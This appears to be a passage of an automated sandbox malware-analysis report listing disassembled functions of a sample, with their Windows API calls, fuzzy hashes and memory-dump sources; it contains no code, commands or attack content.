                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 5384d23d4ac857707c6d2615fdbe80c7ef91472ef31dbde5e93948f430a6b003
                • Instruction ID: a18f4337cdd6d16efc8aa347be029c90a84ccc17deedd698fe177af89c408331
                • Opcode Fuzzy Hash: 5384d23d4ac857707c6d2615fdbe80c7ef91472ef31dbde5e93948f430a6b003
                • Instruction Fuzzy Hash: CE4144B0805B40DEE724DF798485AE6FBE5FF29300F404AAED5EE83282DB326554CB11
                Function 00BC136E Relevance: 3.1, APIs: 2, Instructions: 94COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC1373
                  • Part of subcall function 00BC5FC6: __EH_prolog.LIBCMT ref: 00BC5FCB
                  • Part of subcall function 00BCC567: __EH_prolog.LIBCMT ref: 00BCC56C
                  • Part of subcall function 00BCC567: new.LIBCMT ref: 00BCC5AF
                  • Part of subcall function 00BCC567: new.LIBCMT ref: 00BCC5D3
                • new.LIBCMT ref: 00BC13EB
                  • Part of subcall function 00BCADBF: __EH_prolog.LIBCMT ref: 00BCADC4
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: 2f0189748874913e64bcf8f32130ff06915231534031e96bd91fe08aa8817cde
                • Instruction ID: 2d703f3f9a319387579603641792655b138c444683594d4efcf9713ea0f61ae7
                • Opcode Fuzzy Hash: 2f0189748874913e64bcf8f32130ff06915231534031e96bd91fe08aa8817cde
                • Instruction Fuzzy Hash: AB4146B0805B40DEE724DF798485AE6FBE5FF29300F504AAED5EE83282DB326554CB11
                Function 00BEA70D Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BE8571: GetLastError.KERNEL32(?,?,00BE33F4,?,?,?,00BE2E6F,00000050), ref: 00BE8575
                  • Part of subcall function 00BE8571: _free.LIBCMT ref: 00BE85A8
                  • Part of subcall function 00BE8571: SetLastError.KERNEL32(00000000), ref: 00BE85E9
                  • Part of subcall function 00BE8571: _abort.LIBCMT ref: 00BE85EF
                  • Part of subcall function 00BEA82C: _abort.LIBCMT ref: 00BEA85E
                  • Part of subcall function 00BEA82C: _free.LIBCMT ref: 00BEA892
                  • Part of subcall function 00BEA4A1: GetOEMCP.KERNEL32(00000000,?,?,00BEA72A,?), ref: 00BEA4CC
                • _free.LIBCMT ref: 00BEA785
                • _free.LIBCMT ref: 00BEA7BB
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$ErrorLast_abort
                • String ID:
                • API String ID: 2991157371-0
                • Opcode ID: 30b2f7006d2d4f6a70b5b82b22f42c117fdce198ae72d18b2800592cd3a23a23
                • Instruction ID: 17a9aeaa649896ebf4d243c92e39b3311d784bc44d62366dd2c3276490a5f94d
                • Opcode Fuzzy Hash: 30b2f7006d2d4f6a70b5b82b22f42c117fdce198ae72d18b2800592cd3a23a23
                • Instruction Fuzzy Hash: 5B310931904284AFDB11EF6AD480BADB7F9EF40320F2541E9F4149B2A2EF75AD41CB51
                Function 00BC95C0 Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON
                Download Yara Rule
                APIs
                • CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00BC9C97,?,?,00BC779F), ref: 00BC9648
                • CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00BC9C97,?,?,00BC779F), ref: 00BC967D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CreateFile
                • String ID:
                • API String ID: 823142352-0
                • Opcode ID: 60b07eb14e46c2069ddc698ac313da88481c99f76a2e1a7da3a71a5bb1deb739
                • Instruction ID: dbeb06893125e8ce93fd1b15787de5d0a9ac384cdaed28e116719a1d5da9a318
                • Opcode Fuzzy Hash: 60b07eb14e46c2069ddc698ac313da88481c99f76a2e1a7da3a71a5bb1deb739
                • Instruction Fuzzy Hash: B221F1B1500748AFE7308F24C889FA7B7E8EB493A4F004A6DF5E5831D1C775AC49CA60
                Function 00BC9B22 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON
                Download Yara Rule
                APIs
                • FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,00BC747F,?,?,?), ref: 00BC9B3C
                • SetFileTime.KERNELBASE(?,?,?,?), ref: 00BC9BEC
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: File$BuffersFlushTime
                • String ID:
                • API String ID: 1392018926-0
                • Opcode ID: f19d527522d4e83c7be16162863b2d2dfb77d5fa1fa46ea96d6c019274d19a58
                • Instruction ID: 4b4964bf784d36e13b1dd79adcb88716026449c5fbf5ec02d05bde66e3cca51e
                • Opcode Fuzzy Hash: f19d527522d4e83c7be16162863b2d2dfb77d5fa1fa46ea96d6c019274d19a58
                • Instruction Fuzzy Hash: AD21F131258285BBE710DF24E889FBABBE8EF96704F04499DB891C3141D729ED08D7A1
                Function 00BE99EB Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • GetProcAddress.KERNEL32(00000000,?), ref: 00BE9A4B
                • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00BE9A58
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AddressProc__crt_fast_encode_pointer
                • String ID:
                • API String ID: 2279764990-0
                • Opcode ID: 6376952fb042a5e8c06734d99188298e7eb315823f0cbf845cf9b53bf892e7c6
                • Instruction ID: ad67d602d4cbac0711b1ac8061f613c5cce3982ed9ecd41cc851f54e4dd09118
                • Opcode Fuzzy Hash: 6376952fb042a5e8c06734d99188298e7eb315823f0cbf845cf9b53bf892e7c6
                • Instruction Fuzzy Hash: 5011C637A015A1AB9B25DF2AEC809AA73D6EF8176071652B0FD15EB284DB30EC45C7D0
                Function 00BC9BFB Relevance: 3.1, APIs: 2, Instructions: 54COMMON
                Download Yara Rule
                APIs
                • SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00BC9C31
                • GetLastError.KERNEL32 ref: 00BC9C3D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorFileLastPointer
                • String ID:
                • API String ID: 2976181284-0
                • Opcode ID: 7e5070bb65ee250ae16c9ef08bc9f42d476e8ca828e735175a680441c1270f6a
                • Instruction ID: 7372b615d28758ee05570b5bf599577fef5bdd6958c21d8a26d658a29617fe15
                • Opcode Fuzzy Hash: 7e5070bb65ee250ae16c9ef08bc9f42d476e8ca828e735175a680441c1270f6a
                • Instruction Fuzzy Hash: 7B019EB13002406BEB349F29DC88FABB7D9DB84318F1445BEB252C3680CA74D808C621
                Function 00BC99A7 Relevance: 3.1, APIs: 2, Instructions: 52COMMON
                Download Yara Rule
                APIs
                • SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 00BC99FB
                • GetLastError.KERNEL32 ref: 00BC9A08
                  • Part of subcall function 00BC9779: __EH_prolog.LIBCMT ref: 00BC977E
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorFileH_prologLastPointer
                • String ID:
                • API String ID: 4236474358-0
                • Opcode ID: c544fb53cff2e643f1fa778a2beb2cfb9612f29dea541a5376b0d486d2efe12a
                • Instruction ID: dc3c6eb310653d51688a88a2f3813fd9ecea607ea20d7479cb5af6af68616b56
                • Opcode Fuzzy Hash: c544fb53cff2e643f1fa778a2beb2cfb9612f29dea541a5376b0d486d2efe12a
                • Instruction Fuzzy Hash: 9501B532201105DBAF188F299C9DFBA77D9EF5272030442AEF826DB2A1CBB0DC01C660
                Function 00BE7BEE Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • _free.LIBCMT ref: 00BE7C0F
                  • Part of subcall function 00BE7B00: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BE3006,?,0000015D,?,?,?,?,00BE44E2,000000FF,00000000,?,?), ref: 00BE7B32
                • HeapReAlloc.KERNEL32(00000000,?,?,?,?,00C000E0,00BCCB6A,?,?,?,?,?,?), ref: 00BE7C4B
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Heap$AllocAllocate_free
                • String ID:
                • API String ID: 2447670028-0
                • Opcode ID: 2f01170418a506b995985e5821590e8c93fb3c5c575e209e28df3f58496ba148
                • Instruction ID: eb9a8fc89fe489a7fc41f12ac63b4f80946bcc3a776689e0cd6c72913ad83ed7
                • Opcode Fuzzy Hash: 2f01170418a506b995985e5821590e8c93fb3c5c575e209e28df3f58496ba148
                • Instruction Fuzzy Hash: 13F0C2315885D16A8B312A2B9C41F6F27ECDF91770B3405A6F815A6292EF30C84091A1
                Function 00BD058E Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                Download Yara Rule
                APIs
                • GetCurrentProcess.KERNEL32(?,?), ref: 00BD059B
                • GetProcessAffinityMask.KERNEL32(00000000), ref: 00BD05A2
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Process$AffinityCurrentMask
                • String ID:
                • API String ID: 1231390398-0
                • Opcode ID: 327651cd2aa639f34d89065274af0e2e51713f40e58f13fe77c8f8058d0dca2a
                • Instruction ID: 423d0c4488a4be06e8a324289d35b39a035398ba7488287d4243360aa1ff71c9
                • Opcode Fuzzy Hash: 327651cd2aa639f34d89065274af0e2e51713f40e58f13fe77c8f8058d0dca2a
                • Instruction Fuzzy Hash: E3E09B36A21205B74F1897B5AC846FBB7DDDA14308B1041BBEC06D3300FD31ED014B64
                Function 00BCA1D3 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                Download Yara Rule
                APIs
                • SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BCA009,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BCA1E7
                • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BCA009,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BCA218
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AttributesFile
                • String ID:
                • API String ID: 3188754299-0
                • Opcode ID: 67857078c177be8cd5c6f5cd6064ce123390c2e5501bd9d84dc86acd979774b9
                • Instruction ID: 1e2eda2913b1089086261b3b3c880b23f16feeee8fa389c73d183fd956c17a6d
                • Opcode Fuzzy Hash: 67857078c177be8cd5c6f5cd6064ce123390c2e5501bd9d84dc86acd979774b9
                • Instruction Fuzzy Hash: EEF0303254015D6BDF015F64EC41FE977ACEF08396F448195BC8897160DF329A99EA50
                Function 00BDCBAD Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemText_swprintf
                • String ID:
                • API String ID: 3011073432-0
                • Opcode ID: a0e2aa1e0c6e841b116113058c74f502947c1a358e8d09f882dcd60ec2d348db
                • Instruction ID: 6185b15e2d42913a7727db724f7873bfdf0a24626d231d84a244add107436ef5
                • Opcode Fuzzy Hash: a0e2aa1e0c6e841b116113058c74f502947c1a358e8d09f882dcd60ec2d348db
                • Instruction Fuzzy Hash: 4AF0E57690820C2AE711AB749C07FED7BADD704741F0445DBB605631A2E572AA60CB62
                Function 00BC9EBC Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON
                Download Yara Rule
                APIs
                • DeleteFileW.KERNELBASE(?,?,?,00BC96E0,?,?,00BC953B), ref: 00BC9ECD
                • DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00BC96E0,?,?,00BC953B), ref: 00BC9EFB
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: DeleteFile
                • String ID:
                • API String ID: 4033686569-0
                • Opcode ID: 77a0d0fbbe9c4de77a7754eb5326555ea58ebef9930c68340244a53f9bd071d8
                • Instruction ID: 317416d0c2be28bcf3c973299beec3d6b1188dbb18568c617f52f343ed64c3b4
                • Opcode Fuzzy Hash: 77a0d0fbbe9c4de77a7754eb5326555ea58ebef9930c68340244a53f9bd071d8
                • Instruction Fuzzy Hash: 0DE092355802096BEB129F75DC45FED77ECEF08381F4841AAB888C7190DF229D94EAA4
                Function 00BC9F23 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                Download Yara Rule
                APIs
                • GetFileAttributesW.KERNELBASE(?,?,?,00BC9F18,?,00BC75EA,?,?,?,?), ref: 00BC9F34
                • GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00BC9F18,?,00BC75EA,?,?,?,?), ref: 00BC9F60
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AttributesFile
                • String ID:
                • API String ID: 3188754299-0
                • Opcode ID: ba4541441f602c2b124fe235aeecdd74cfd2ae75943774118100351603f73a98
                • Instruction ID: 2ac2b70acb6c95b46a2668cdd6ea0ee8085aea5d03cb5208d13269508b7d85ff
                • Opcode Fuzzy Hash: ba4541441f602c2b124fe235aeecdd74cfd2ae75943774118100351603f73a98
                • Instruction Fuzzy Hash: 63E01B3654111867DB11AB78DC05FE9B7ACDB083E1F0442E9FD94D3290DB715D55C6D0
                Function 00BCFD16 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON
                Download Yara Rule
                APIs
                • GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BCFD31
                • LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BCE82C,Crypt32.dll,?,00BCE8AE,?,00BCE892,?,?,?,?), ref: 00BCFD53
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: DirectoryLibraryLoadSystem
                • String ID:
                • API String ID: 1175261203-0
                • Opcode ID: f5f74415a87e2cd8824c4991245d338aefda70d91099c5c65ea7c0d0bc90ef91
                • Instruction ID: 5173ddf604ac3ab323812e00ef2392a71c7bcd98faa2243596080e2784dd4c47
                • Opcode Fuzzy Hash: f5f74415a87e2cd8824c4991245d338aefda70d91099c5c65ea7c0d0bc90ef91
                • Instruction Fuzzy Hash: B8E012769011186BDB119BA4DC05FEAB7ACEF08381F4400E6B949D3114DE749940CBE0
                Function 00BD9401 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON
                Download Yara Rule
                APIs
                • GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00BD9422
                • GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00BD9429
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: BitmapCreateFromGdipStream
                • String ID:
                • API String ID: 1918208029-0
                • Opcode ID: 593c0ef4ca9b822e5fb331edeb76acfe42db4a7830655f73c60b2761e3d7faa8
                • Instruction ID: 36ff7cf5aba6b82945234efd93911786d2b82246425f8c1872b411dcc439ffb9
                • Opcode Fuzzy Hash: 593c0ef4ca9b822e5fb331edeb76acfe42db4a7830655f73c60b2761e3d7faa8
                • Instruction Fuzzy Hash: D0E0ED71905318EBCB20DF99C545BAAF7F8EB04721F10819BA88993701E6716E44AB91
                Function 00BD9B7B Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                Download Yara Rule
                APIs
                • GdiplusShutdown.GDIPLUS(?,?,?,00BF146D,000000FF), ref: 00BD9BA4
                • CoUninitialize.COMBASE(?,?,?,00BF146D,000000FF), ref: 00BD9BA9
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: GdiplusShutdownUninitialize
                • String ID:
                • API String ID: 3856339756-0
                • Opcode ID: 331df28071e7b2e53868f232b61d4eb0745aa47b8bb98d297618a29083ba317b
                • Instruction ID: 8d674e6306201aaa1a7c6d912b5faa2167cab7098d1fef53030af157f28955c7
                • Opcode Fuzzy Hash: 331df28071e7b2e53868f232b61d4eb0745aa47b8bb98d297618a29083ba317b
                • Instruction Fuzzy Hash: 31E01A72548644EFC321DB48DC05F55F7E8FB08B20F0047AAB91A83BA0DB356800CA91
